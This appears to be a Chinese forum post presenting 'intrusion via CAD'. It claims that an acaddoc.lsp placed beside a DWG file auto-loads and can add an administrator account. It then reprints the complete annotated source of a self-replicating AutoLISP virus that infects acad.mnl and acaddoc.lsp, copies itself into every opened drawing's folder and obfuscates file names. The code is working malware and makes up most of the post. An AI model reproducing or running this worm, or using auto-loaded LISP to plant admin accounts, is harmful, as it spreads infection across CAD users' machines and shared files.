通过CAD入侵
CAD 文件DWG文件 后面有acad.lsp 或者acaddoc.lsp 会自动加载 lsp能添加管理员账户
一下是感染部分(转的)
最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:
-----------------下面是病毒代码-----------------------------
(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq wpath (findfile "base.dcl"))
(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径
(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量
(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名
(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径
(setq wdwgwpath (substr wwjqm 1
( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径
;;;alert
( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则
(write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support
(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件
(write-line (strcat "yy=" wpath) f)
(close f)
(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径
(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在
(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录
(setq wacadwpath (substr wacadwpath 1
(- (strlen wacadwpath) 11)))
(setq wns1 "" wns2 "")
(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的
;;; ;标志,已感染为1,未感染为0
(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件
(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开
(progn ;成功则进行处理
(while
(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行
(setq wns1 wns2 ) ;内容,wns2中是最后一行的内容
(setq wns2 wwz)
)
(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,
(if (= (substr wns1 8 7) "acadapq") ;若是则已感染
(setq wlspbj 1)
)
)
(close wwjm)
)
)
(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,
;;; ;已感染为1,未感染为0
(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件
(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开
(progn ;成功则进行处理
(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容
(setq wns1 wns2 ) ;wns2中是最后一行的内容
(setq wns2 wwz)
)
(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,若是则
(if (= (substr wns1 8 7) "acadapq") ;已感染
(setq wlspmnl 1)
)
)
(close wwjm) ;关闭acad.mnl文件
)
)
(if (= wlspmnl 0) ;若acad.mnl文件未感染,则写入加载病毒的代码到acad.mnl文件的
(progn ;最后2行中
(setq wwjqm (strcat wpath
(strcat (chr 97) (chr 99) (chr 97)
(chr 100) (chr 46) (chr 109)
(chr 110) (chr 108)) )) ;障眼法,等于(strcat wpath "acad.mnl")
(setq wwjm (open wwjqm "a"))
(write-line (strcat "(load " (chr 34)
"acadapq" (chr 34) ")" ) wwjm)
(write-line "(princ)" wwjm)
(close wwjm)
)
)
(defun wwriteapp ()
(if (setq wwjm1 (open wnewacad "w"))
(progn
(setq wwjm (open woldacad "r"))
(while (setq wwz (read-line wwjm))
(write-line wwz wwjm1)
)
(close wwjm)
(close wwjm1)
)
)
)
(if (and (= wacadwpath wdwgwpath)
(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录
(progn
(if (= 0 wlspmnl) ;acad.mnl文件未感染
(progn
(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件
(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容,在support目录下创建acadapq.lsp文件并将acaddoc.lsp
) ;文件的内容写入acadapq.lsp文件中
;;else (acad.mnl文件已感染)
(progn
(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件
(setq wnewacad (findfile "acaddoc.lsp")) ;的内容,写入图形目录下的acaddoc.lsp文件中
)
)
(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染
(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中
(setq wwjqm (strcat wpath "acaddoc.lsp" ))
(setq wwjm (open wwjqm "a"))
(write-line (strcat "(load " (chr 34)
"acadapq" (chr 34) ")" ) wwjm)
(write-line "(princ)" wwjm)
(close wwjm)
)
)
(wwriteapp)
)
;;else (若加载的是support目录下的acaddoc.lsp文件)
(progn
(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件
(progn
(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件,将acadapq.lsp
(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中
(wwriteapp)
)
)
)
)
(setvar "cmdecho" wold_cmd)
(princ) ;下面的代码又是个障眼法,没什么作用
(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)
(chr 83) (chr 49) (chr 92)
(chr 83) (chr 89) (chr 83)
(chr 49) (chr 92) (chr 87)
(chr 79) (chr 82) (chr 75)
(chr 92) (chr 80) (chr 76)))
-----------------病毒代码到此结束----------------------------
已询问AUTOCAD官方,这是CAD的一种机制,关闭不了。
晚上在补充
评论20次